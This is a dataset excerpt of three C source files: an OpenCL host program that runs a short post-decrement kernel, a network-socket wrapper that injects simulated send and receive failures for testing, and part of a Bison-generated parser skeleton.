file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/43888248.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <CL/cl.h>
unsigned char *read_buffer(char *file_name, size_t *size_ptr)
{
FILE *f;
unsigned char *buf;
size_t size;
/* Open file */
f = fopen(file_name, "rb");
if (!f)
return NULL;
/* Obtain file size */
fseek(f, 0, SEEK_END);
size = ftell(f);
fseek(f, 0, SEEK_SET);
/* Allocate and read buffer */
buf = malloc(size + 1);
fread(buf, 1, size, f);
buf[size] = '\0';
/* Return size of buffer */
if (size_ptr)
*size_ptr = size;
/* Return buffer */
return buf;
}
void write_buffer(char *file_name, const char *buffer, size_t buffer_size)
{
FILE *f;
/* Open file */
f = fopen(file_name, "w+");
/* Write buffer */
if(buffer)
fwrite(buffer, 1, buffer_size, f);
/* Close file */
fclose(f);
}
int main(int argc, char const *argv[])
{
/* Get platform */
cl_platform_id platform;
cl_uint num_platforms;
cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformIDs' failed\n");
exit(1);
}
printf("Number of platforms: %d\n", num_platforms);
printf("platform=%p\n", platform);
/* Get platform name */
char platform_name[100];
ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformInfo' failed\n");
exit(1);
}
printf("platform.name='%s'\n\n", platform_name);
/* Get device */
cl_device_id device;
cl_uint num_devices;
ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceIDs' failed\n");
exit(1);
}
printf("Number of devices: %d\n", num_devices);
printf("device=%p\n", device);
/* Get device name */
char device_name[100];
ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name),
device_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceInfo' failed\n");
exit(1);
}
printf("device.name='%s'\n", device_name);
printf("\n");
/* Create a Context Object */
cl_context context;
context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateContext' failed\n");
exit(1);
}
printf("context=%p\n", context);
/* Create a Command Queue Object*/
cl_command_queue command_queue;
command_queue = clCreateCommandQueue(context, device, 0, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateCommandQueue' failed\n");
exit(1);
}
printf("command_queue=%p\n", command_queue);
printf("\n");
/* Program source */
unsigned char *source_code;
size_t source_length;
/* Read program from 'post_decrement_short.cl' */
source_code = read_buffer("post_decrement_short.cl", &source_length);
/* Create a program */
cl_program program;
program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateProgramWithSource' failed\n");
exit(1);
}
printf("program=%p\n", program);
/* Build program */
ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL);
if (ret != CL_SUCCESS )
{
size_t size;
char *log;
/* Get log size */
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size);
/* Allocate log and print */
log = malloc(size);
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL);
printf("error: call to 'clBuildProgram' failed:\n%s\n", log);
/* Free log and exit */
free(log);
exit(1);
}
printf("program built\n");
printf("\n");
/* Create a Kernel Object */
cl_kernel kernel;
kernel = clCreateKernel(program, "post_decrement_short", &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateKernel' failed\n");
exit(1);
}
/* Create and allocate host buffers */
size_t num_elem = 10;
/* Create and init host side src buffer 0 */
cl_short *src_0_host_buffer;
src_0_host_buffer = malloc(num_elem * sizeof(cl_short));
for (int i = 0; i < num_elem; i++)
src_0_host_buffer[i] = (cl_short)(2);
/* Create and init device side src buffer 0 */
cl_mem src_0_device_buffer;
src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_short), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_short), src_0_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create host dst buffer */
cl_short *dst_host_buffer;
dst_host_buffer = malloc(num_elem * sizeof(cl_short));
memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_short));
/* Create device dst buffer */
cl_mem dst_device_buffer;
dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_short), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create dst buffer\n");
exit(1);
}
/* Set kernel arguments */
ret = CL_SUCCESS;
ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer);
ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clSetKernelArg' failed\n");
exit(1);
}
/* Launch the kernel */
size_t global_work_size = num_elem;
size_t local_work_size = num_elem;
ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueNDRangeKernel' failed\n");
exit(1);
}
/* Wait for it to finish */
clFinish(command_queue);
/* Read results from GPU */
ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_short), dst_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueReadBuffer' failed\n");
exit(1);
}
/* Dump dst buffer to file */
char dump_file[100];
sprintf((char *)&dump_file, "%s.result", argv[0]);
write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_short));
printf("Result dumped to %s\n", dump_file);
/* Free host dst buffer */
free(dst_host_buffer);
/* Free device dst buffer */
ret = clReleaseMemObject(dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 0 */
free(src_0_host_buffer);
/* Free device side src buffer 0 */
ret = clReleaseMemObject(src_0_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Release kernel */
ret = clReleaseKernel(kernel);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseKernel' failed\n");
exit(1);
}
/* Release program */
ret = clReleaseProgram(program);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseProgram' failed\n");
exit(1);
}
/* Release command queue */
ret = clReleaseCommandQueue(command_queue);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseCommandQueue' failed\n");
exit(1);
}
/* Release context */
ret = clReleaseContext(context);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseContext' failed\n");
exit(1);
}
return 0;
} |
the_stack_data/949079.c | /**
* @file net_dev_test.c
*
* @copyright
* Please read the Exosite Copyright: @ref copyright
*
* @if Authors
* @authors
* - Szilveszter Balogh ([email protected])
* - Zoltan Ribi ([email protected])
* @endif
*
* @brief
* A @net_port_interface implementation that adds fault injection capabilities to the
* underlying 'real' network interface
**/
#ifdef TEST_ERSDK
#include <lib/error.h>
#include <lib/debug.h>
#include <lib/fault_injection.h>
#include <lib/sf_malloc.h>
#include <lib/utils.h>
#include <porting/net_port.h>
#include <net_dev_test.h>
struct net_dev_test_operations {
struct net_dev_operations ops;
struct net_dev_operations *low_level_ops;
};
struct net_test_socket {
struct net_socket self;
struct net_socket *low_level_socket;
};
static enum fault_type recv_error = FT_NO_ERROR;
static enum fault_type send_error = FT_NO_ERROR;
static int32_t net_dev_socket(struct net_dev_operations *self, struct net_socket **s)
{
int32_t error;
struct net_socket *low_level_socket = NULL;
struct net_dev_test_operations *dev;
struct net_test_socket *socket;
dev = container_of(self, struct net_dev_test_operations, ops);
error = dev->low_level_ops->socket(dev->low_level_ops, &low_level_socket);
error = sf_mem_alloc((void **)&socket, sizeof(*socket));
if (error != ERR_SUCCESS)
return error;
socket->low_level_socket = low_level_socket;
socket->self.ops = dev->low_level_ops;
*s = &socket->self;
return error;
}
static int32_t net_dev_connect(struct net_socket *socket, const char *ip,
unsigned short port)
{
int32_t error;
struct net_test_socket *s;
s = container_of(socket, struct net_test_socket, self);
error = s->self.ops->connect(s->low_level_socket, ip, port);
return error;
}
static int32_t recv_count;
static int32_t net_dev_receive(struct net_socket *socket, char *buf, size_t size, size_t *nbytes_recvd)
{
int32_t error;
struct net_test_socket *s;
s = container_of(socket, struct net_test_socket, self);
if (recv_error == FT_ERROR)
return ERR_FAILURE;
if (recv_error == FT_TIMEOUT_AFTER_INIT) {
recv_count++;
if (recv_count > 20)
return ERR_WOULD_BLOCK;
}
if (recv_error == FT_TIMEOUT) {
return ERR_WOULD_BLOCK;
}
if (recv_error == FT_ERROR_AFTER_INIT) {
recv_count++;
if (recv_count > 20)
return ERR_FAILURE;
}
if (recv_error == FT_TEMPORARY_ERROR) {
recv_count++;
if (recv_count < 20)
return ERR_FAILURE;
else
recv_count = 0;
}
error = s->self.ops->recv(s->low_level_socket, buf, size, nbytes_recvd);
return error;
}
static int32_t send_count;
static int32_t net_dev_send(struct net_socket *socket, char *buf, size_t size, size_t *nbytes_sent)
{
int32_t error;
struct net_test_socket *s;
s = container_of(socket, struct net_test_socket, self);
if (send_error == FT_ERROR)
return ERR_FAILURE;
if (send_error == FT_ERROR_AFTER_INIT) {
send_count++;
if (send_count > 2)
return ERR_FAILURE;
}
if (send_error == FT_TEMPORARY_ERROR) {
send_count++;
if (send_count < 20)
return ERR_FAILURE;
else
send_count = 0;
}
error = s->self.ops->send(s->low_level_socket, buf, size, nbytes_sent);
return error;
}
static int32_t net_dev_lookup(struct net_dev_operations *self, char *hostname, char *ipaddr_str, size_t ip_size)
{
int32_t error;
struct net_dev_test_operations *dev_test;
dev_test = container_of(self, struct net_dev_test_operations, ops);
error = dev_test->low_level_ops->lookup(dev_test->low_level_ops, hostname, ipaddr_str, ip_size);
return error;
}
static int32_t net_dev_close(struct net_socket *socket)
{
int32_t error;
struct net_test_socket *s;
s = container_of(socket, struct net_test_socket, self);
error = s->self.ops->close(s->low_level_socket);
sf_mem_free(s);
return error;
}
static struct net_dev_operations tcp_ops = {
net_dev_socket,
NULL,
net_dev_connect,
NULL,
net_dev_close,
net_dev_receive,
net_dev_send,
net_dev_lookup,
NULL,
NULL,
NULL
};
struct net_dev_operations *net_dev_test_new(struct net_dev_operations *dev)
{
int32_t error;
struct net_dev_test_operations *net_dev_test;
error = sf_mem_alloc((void **)&net_dev_test, sizeof(*net_dev_test));
if (error != ERR_SUCCESS)
return NULL;
net_dev_test->ops = tcp_ops;
net_dev_test->low_level_ops = dev;
return &net_dev_test->ops;
}
#else
/* TODO How to fix empty translation unit in std99*/
int empty;
#endif
|
the_stack_data/193158.c | /* A Bison parser, made by GNU Bison 3.0.4. */
/* Bison implementation for Yacc-like parsers in C
Copyright (C) 1984, 1989-1990, 2000-2015 Free Software Foundation, Inc.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
/* As a special exception, you may create a larger work that contains
part or all of the Bison parser skeleton and distribute that work
under terms of your choice, so long as that work isn't itself a
parser generator using the skeleton or a modified version thereof
as a parser skeleton. Alternatively, if you modify or redistribute
the parser skeleton itself, you may (at your option) remove this
special exception, which will cause the skeleton and the resulting
Bison output files to be licensed under the GNU General Public
License without this special exception.
This special exception was added by the Free Software Foundation in
version 2.2 of Bison. */
/* C LALR(1) parser skeleton written by Richard Stallman, by
simplifying the original so-called "semantic" parser. */
/* All symbols defined below should begin with yy or YY, to avoid
infringing on user name space. This should be done even for local
variables, as they might otherwise be expanded by user macros.
There are some unavoidable exceptions within include files to
define necessary library symbols; they are noted "INFRINGES ON
USER NAME SPACE" below. */
/* Identify Bison output. */
#define YYBISON 1
/* Bison version. */
#define YYBISON_VERSION "3.0.4"
/* Skeleton name. */
#define YYSKELETON_NAME "yacc.c"
/* Pure parsers. */
#define YYPURE 0
/* Push parsers. */
#define YYPUSH 0
/* Pull parsers. */
#define YYPULL 1
/* Copy the first part of user declarations. */
#line 1 "2.y" /* yacc.c:339 */
#include<stdio.h>
#include<stdlib.h>
#line 71 "y.tab.c" /* yacc.c:339 */
# ifndef YY_NULLPTR
# if defined __cplusplus && 201103L <= __cplusplus
# define YY_NULLPTR nullptr
# else
# define YY_NULLPTR 0
# endif
# endif
/* Enabling verbose error messages. */
#ifdef YYERROR_VERBOSE
# undef YYERROR_VERBOSE
# define YYERROR_VERBOSE 1
#else
# define YYERROR_VERBOSE 0
#endif
/* In a future release of Bison, this section will be replaced
by #include "y.tab.h". */
#ifndef YY_YY_Y_TAB_H_INCLUDED
# define YY_YY_Y_TAB_H_INCLUDED
/* Debug traces. */
#ifndef YYDEBUG
# define YYDEBUG 0
#endif
#if YYDEBUG
extern int yydebug;
#endif
/* Token type. */
#ifndef YYTOKENTYPE
# define YYTOKENTYPE
enum yytokentype
{
A = 258,
B = 259
};
#endif
/* Tokens. */
#define A 258
#define B 259
/* Value type. */
#if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
typedef int YYSTYPE;
# define YYSTYPE_IS_TRIVIAL 1
# define YYSTYPE_IS_DECLARED 1
#endif
extern YYSTYPE yylval;
int yyparse (void);
#endif /* !YY_YY_Y_TAB_H_INCLUDED */
/* Copy the second part of user declarations. */
#line 130 "y.tab.c" /* yacc.c:358 */
#ifdef short
# undef short
#endif
#ifdef YYTYPE_UINT8
typedef YYTYPE_UINT8 yytype_uint8;
#else
typedef unsigned char yytype_uint8;
#endif
#ifdef YYTYPE_INT8
typedef YYTYPE_INT8 yytype_int8;
#else
typedef signed char yytype_int8;
#endif
#ifdef YYTYPE_UINT16
typedef YYTYPE_UINT16 yytype_uint16;
#else
typedef unsigned short int yytype_uint16;
#endif
#ifdef YYTYPE_INT16
typedef YYTYPE_INT16 yytype_int16;
#else
typedef short int yytype_int16;
#endif
#ifndef YYSIZE_T
# ifdef __SIZE_TYPE__
# define YYSIZE_T __SIZE_TYPE__
# elif defined size_t
# define YYSIZE_T size_t
# elif ! defined YYSIZE_T
# include <stddef.h> /* INFRINGES ON USER NAME SPACE */
# define YYSIZE_T size_t
# else
# define YYSIZE_T unsigned int
# endif
#endif
#define YYSIZE_MAXIMUM ((YYSIZE_T) -1)
#ifndef YY_
# if defined YYENABLE_NLS && YYENABLE_NLS
# if ENABLE_NLS
# include <libintl.h> /* INFRINGES ON USER NAME SPACE */
# define YY_(Msgid) dgettext ("bison-runtime", Msgid)
# endif
# endif
# ifndef YY_
# define YY_(Msgid) Msgid
# endif
#endif
#ifndef YY_ATTRIBUTE
# if (defined __GNUC__ \
&& (2 < __GNUC__ || (__GNUC__ == 2 && 96 <= __GNUC_MINOR__))) \
|| defined __SUNPRO_C && 0x5110 <= __SUNPRO_C
# define YY_ATTRIBUTE(Spec) __attribute__(Spec)
# else
# define YY_ATTRIBUTE(Spec) /* empty */
# endif
#endif
#ifndef YY_ATTRIBUTE_PURE
# define YY_ATTRIBUTE_PURE YY_ATTRIBUTE ((__pure__))
#endif
#ifndef YY_ATTRIBUTE_UNUSED
# define YY_ATTRIBUTE_UNUSED YY_ATTRIBUTE ((__unused__))
#endif
#if !defined _Noreturn \
&& (!defined __STDC_VERSION__ || __STDC_VERSION__ < 201112)
# if defined _MSC_VER && 1200 <= _MSC_VER
# define _Noreturn __declspec (noreturn)
# else
# define _Noreturn YY_ATTRIBUTE ((__noreturn__))
# endif
#endif
/* Suppress unused-variable warnings by "using" E. */
#if ! defined lint || defined __GNUC__
# define YYUSE(E) ((void) (E))
#else
# define YYUSE(E) /* empty */
#endif
#if defined __GNUC__ && 407 <= __GNUC__ * 100 + __GNUC_MINOR__
/* Suppress an incorrect diagnostic about yylval being uninitialized. */
# define YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN \
_Pragma ("GCC diagnostic push") \
_Pragma ("GCC diagnostic ignored \"-Wuninitialized\"")\
_Pragma ("GCC diagnostic ignored \"-Wmaybe-uninitialized\"")
# define YY_IGNORE_MAYBE_UNINITIALIZED_END \
_Pragma ("GCC diagnostic pop")
#else
# define YY_INITIAL_VALUE(Value) Value
#endif
#ifndef YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
# define YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
# define YY_IGNORE_MAYBE_UNINITIALIZED_END
#endif
#ifndef YY_INITIAL_VALUE
# define YY_INITIAL_VALUE(Value) /* Nothing. */
#endif
#if ! defined yyoverflow || YYERROR_VERBOSE
/* The parser invokes alloca or malloc; define the necessary symbols. */
# ifdef YYSTACK_USE_ALLOCA
# if YYSTACK_USE_ALLOCA
# ifdef __GNUC__
# define YYSTACK_ALLOC __builtin_alloca
# elif defined __BUILTIN_VA_ARG_INCR
# include <alloca.h> /* INFRINGES ON USER NAME SPACE */
# elif defined _AIX
# define YYSTACK_ALLOC __alloca
# elif defined _MSC_VER
# include <malloc.h> /* INFRINGES ON USER NAME SPACE */
# define alloca _alloca
# else
# define YYSTACK_ALLOC alloca
# if ! defined _ALLOCA_H && ! defined EXIT_SUCCESS
# include <stdlib.h> /* INFRINGES ON USER NAME SPACE */
/* Use EXIT_SUCCESS as a witness for stdlib.h. */
# ifndef EXIT_SUCCESS
# define EXIT_SUCCESS 0
# endif
# endif
# endif
# endif
# endif
# ifdef YYSTACK_ALLOC
/* Pacify GCC's 'empty if-body' warning. */
# define YYSTACK_FREE(Ptr) do { /* empty */; } while (0)
# ifndef YYSTACK_ALLOC_MAXIMUM
/* The OS might guarantee only one guard page at the bottom of the stack,
and a page size can be as small as 4096 bytes. So we cannot safely
invoke alloca (N) if N exceeds 4096. Use a slightly smaller number
to allow for a few compiler-allocated temporary stack slots. */
# define YYSTACK_ALLOC_MAXIMUM 4032 /* reasonable circa 2006 */
# endif
# else
# define YYSTACK_ALLOC YYMALLOC
# define YYSTACK_FREE YYFREE
# ifndef YYSTACK_ALLOC_MAXIMUM
# define YYSTACK_ALLOC_MAXIMUM YYSIZE_MAXIMUM
# endif
# if (defined __cplusplus && ! defined EXIT_SUCCESS \
&& ! ((defined YYMALLOC || defined malloc) \
&& (defined YYFREE || defined free)))
# include <stdlib.h> /* INFRINGES ON USER NAME SPACE */
# ifndef EXIT_SUCCESS
# define EXIT_SUCCESS 0
# endif
# endif
# ifndef YYMALLOC
# define YYMALLOC malloc
# if ! defined malloc && ! defined EXIT_SUCCESS
void *malloc (YYSIZE_T); /* INFRINGES ON USER NAME SPACE */
# endif
# endif
# ifndef YYFREE
# define YYFREE free
# if ! defined free && ! defined EXIT_SUCCESS
void free (void *); /* INFRINGES ON USER NAME SPACE */
# endif
# endif
# endif
#endif /* ! defined yyoverflow || YYERROR_VERBOSE */
#if (! defined yyoverflow \
&& (! defined __cplusplus \
|| (defined YYSTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL)))
/* A type that is properly aligned for any stack member. */
union yyalloc
{
yytype_int16 yyss_alloc;
YYSTYPE yyvs_alloc;
};
/* The size of the maximum gap between one aligned stack and the next. */
# define YYSTACK_GAP_MAXIMUM (sizeof (union yyalloc) - 1)
/* The size of an array large to enough to hold all stacks, each with
N elements. */
# define YYSTACK_BYTES(N) \
((N) * (sizeof (yytype_int16) + sizeof (YYSTYPE)) \
+ YYSTACK_GAP_MAXIMUM)
# define YYCOPY_NEEDED 1
/* Relocate STACK from its old location to the new one. The
local variables YYSIZE and YYSTACKSIZE give the old and new number of
elements in the stack, and YYPTR gives the new location of the
stack. Advance YYPTR to a properly aligned location for the next
stack. */
# define YYSTACK_RELOCATE(Stack_alloc, Stack) \
do \
{ \
YYSIZE_T yynewbytes; \
YYCOPY (&yyptr->Stack_alloc, Stack, yysize); \
Stack = &yyptr->Stack_alloc; \
yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAXIMUM; \
yyptr += yynewbytes / sizeof (*yyptr); \
} \
while (0)
#endif
#if defined YYCOPY_NEEDED && YYCOPY_NEEDED
/* Copy COUNT objects from SRC to DST. The source and destination do
not overlap. */
# ifndef YYCOPY
# if defined __GNUC__ && 1 < __GNUC__
# define YYCOPY(Dst, Src, Count) \
__builtin_memcpy (Dst, Src, (Count) * sizeof (*(Src)))
# else
# define YYCOPY(Dst, Src, Count) \
do \
{ \
YYSIZE_T yyi; \
for (yyi = 0; yyi < (Count); yyi++) \
(Dst)[yyi] = (Src)[yyi]; \
} \
while (0)
# endif
# endif
#endif /* !YYCOPY_NEEDED */
/* YYFINAL -- State number of the termination state. */
#define YYFINAL 7
/* YYLAST -- Last index in YYTABLE. */
#define YYLAST 9
/* YYNTOKENS -- Number of terminals. */
#define YYNTOKENS 6
/* YYNNTS -- Number of nonterminals. */
#define YYNNTS 4
/* YYNRULES -- Number of rules. */
#define YYNRULES 6
/* YYNSTATES -- Number of states. */
#define YYNSTATES 11
/* YYTRANSLATE[YYX] -- Symbol number corresponding to YYX as returned
by yylex, with out-of-bounds checking. */
#define YYUNDEFTOK 2
#define YYMAXUTOK 259
#define YYTRANSLATE(YYX) \
((unsigned int) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK)
/* YYTRANSLATE[TOKEN-NUM] -- Symbol number corresponding to TOKEN-NUM
as returned by yylex, without out-of-bounds checking. */
static const yytype_uint8 yytranslate[] =
{
0, 2, 2, 2, 2, 2, 2, 2, 2, 2,
5, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 1, 2, 3, 4
};
#if YYDEBUG
/* YYRLINE[YYN] -- Source line where rule number YYN was defined. */
static const yytype_uint8 yyrline[] =
{
0, 9, 9, 10, 10, 11, 11
};
#endif
#if YYDEBUG || YYERROR_VERBOSE || 0
/* YYTNAME[SYMBOL-NUM] -- String name of the symbol SYMBOL-NUM.
First, the terminals, then, starting at YYNTOKENS, nonterminals. */
static const char *const yytname[] =
{
"$end", "error", "$undefined", "A", "B", "'\\n'", "$accept", "input",
"S", "S1", YY_NULLPTR
};
#endif
# ifdef YYPRINT
/* YYTOKNUM[NUM] -- (External) token number corresponding to the
(internal) symbol number NUM (which must be that of a token). */
static const yytype_uint16 yytoknum[] =
{
0, 256, 257, 258, 259, 10
};
# endif
#define YYPACT_NINF -4
#define yypact_value_is_default(Yystate) \
(!!((Yystate) == (-4)))
#define YYTABLE_NINF -1
#define yytable_value_is_error(Yytable_value) \
0
/* YYPACT[STATE-NUM] -- Index in YYTABLE of the portion describing
STATE-NUM. */
static const yytype_int8 yypact[] =
{
-3, -1, -4, 3, 0, -1, 2, -4, -4, -4,
-4
};
/* YYDEFACT[STATE-NUM] -- Default reduction number in state STATE-NUM.
Performed when YYTABLE does not specify something else to do. Zero
means the default is an error. */
static const yytype_uint8 yydefact[] =
{
0, 5, 4, 0, 0, 5, 0, 1, 2, 6,
3
};
/* YYPGOTO[NTERM-NUM]. */
static const yytype_int8 yypgoto[] =
{
-4, -4, -4, 4
};
/* YYDEFGOTO[NTERM-NUM]. */
static const yytype_int8 yydefgoto[] =
{
-1, 3, 4, 6
};
/* YYTABLE[YYPACT[STATE-NUM]] -- What to do in state STATE-NUM. If
positive, shift that token. If negative, reduce the rule whose
number is the opposite. If YYTABLE_NINF, syntax error. */
static const yytype_uint8 yytable[] =
{
1, 2, 5, 7, 0, 8, 10, 0, 0, 9
};
static const yytype_int8 yycheck[] =
{
3, 4, 3, 0, -1, 5, 4, -1, -1, 5
};
/* YYSTOS[STATE-NUM] -- The (internal number of the) accessing
symbol of state STATE-NUM. */
static const yytype_uint8 yystos[] =
{
0, 3, 4, 7, 8, 3, 9, 0, 5, 9,
4
};
/* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */
static const yytype_uint8 yyr1[] =
{
0, 6, 7, 8, 8, 9, 9
};
/* YYR2[YYN] -- Number of symbols on the right hand side of rule YYN. */
static const yytype_uint8 yyr2[] =
{
0, 2, 2, 3, 1, 0, 2
};
#define yyerrok (yyerrstatus = 0)
#define yyclearin (yychar = YYEMPTY)
#define YYEMPTY (-2)
#define YYEOF 0
#define YYACCEPT goto yyacceptlab
#define YYABORT goto yyabortlab
#define YYERROR goto yyerrorlab
#define YYRECOVERING() (!!yyerrstatus)
#define YYBACKUP(Token, Value) \
do \
if (yychar == YYEMPTY) \
{ \
yychar = (Token); \
yylval = (Value); \
YYPOPSTACK (yylen); \
yystate = *yyssp; \
goto yybackup; \
} \
else \
{ \
yyerror (YY_("syntax error: cannot back up")); \
YYERROR; \
} \
while (0)
/* Error token number */
#define YYTERROR 1
#define YYERRCODE 256
/* Enable debugging if requested. */
#if YYDEBUG
# ifndef YYFPRINTF
# include <stdio.h> /* INFRINGES ON USER NAME SPACE */
# define YYFPRINTF fprintf
# endif
# define YYDPRINTF(Args) \
do { \
if (yydebug) \
YYFPRINTF Args; \
} while (0)
/* This macro is provided for backward compatibility. */
#ifndef YY_LOCATION_PRINT
# define YY_LOCATION_PRINT(File, Loc) ((void) 0)
#endif
# define YY_SYMBOL_PRINT(Title, Type, Value, Location) \
do { \
if (yydebug) \
{ \
YYFPRINTF (stderr, "%s ", Title); \
yy_symbol_print (stderr, \
Type, Value); \
YYFPRINTF (stderr, "\n"); \
} \
} while (0)
/*----------------------------------------.
| Print this symbol's value on YYOUTPUT. |
`----------------------------------------*/
static void
yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep)
{
FILE *yyo = yyoutput;
YYUSE (yyo);
if (!yyvaluep)
return;
# ifdef YYPRINT
if (yytype < YYNTOKENS)
YYPRINT (yyoutput, yytoknum[yytype], *yyvaluep);
# endif
YYUSE (yytype);
}
/*--------------------------------.
| Print this symbol on YYOUTPUT. |
`--------------------------------*/
static void
yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep)
{
YYFPRINTF (yyoutput, "%s %s (",
yytype < YYNTOKENS ? "token" : "nterm", yytname[yytype]);
yy_symbol_value_print (yyoutput, yytype, yyvaluep);
YYFPRINTF (yyoutput, ")");
}
/*------------------------------------------------------------------.
| yy_stack_print -- Print the state stack from its BOTTOM up to its |
| TOP (included). |
`------------------------------------------------------------------*/
static void
yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop)
{
YYFPRINTF (stderr, "Stack now");
for (; yybottom <= yytop; yybottom++)
{
int yybot = *yybottom;
YYFPRINTF (stderr, " %d", yybot);
}
YYFPRINTF (stderr, "\n");
}
# define YY_STACK_PRINT(Bottom, Top) \
do { \
if (yydebug) \
yy_stack_print ((Bottom), (Top)); \
} while (0)
/*------------------------------------------------.
| Report that the YYRULE is going to be reduced. |
`------------------------------------------------*/
static void
yy_reduce_print (yytype_int16 *yyssp, YYSTYPE *yyvsp, int yyrule)
{
unsigned long int yylno = yyrline[yyrule];
int yynrhs = yyr2[yyrule];
int yyi;
YYFPRINTF (stderr, "Reducing stack by rule %d (line %lu):\n",
yyrule - 1, yylno);
/* The symbols being reduced. */
for (yyi = 0; yyi < yynrhs; yyi++)
{
YYFPRINTF (stderr, " $%d = ", yyi + 1);
yy_symbol_print (stderr,
yystos[yyssp[yyi + 1 - yynrhs]],
&(yyvsp[(yyi + 1) - (yynrhs)])
);
YYFPRINTF (stderr, "\n");
}
}
# define YY_REDUCE_PRINT(Rule) \
do { \
if (yydebug) \
yy_reduce_print (yyssp, yyvsp, Rule); \
} while (0)
/* Nonzero means print parse trace. It is left uninitialized so that
multiple parsers can coexist. */
int yydebug;
#else /* !YYDEBUG */
# define YYDPRINTF(Args)
# define YY_SYMBOL_PRINT(Title, Type, Value, Location)
# define YY_STACK_PRINT(Bottom, Top)
# define YY_REDUCE_PRINT(Rule)
#endif /* !YYDEBUG */
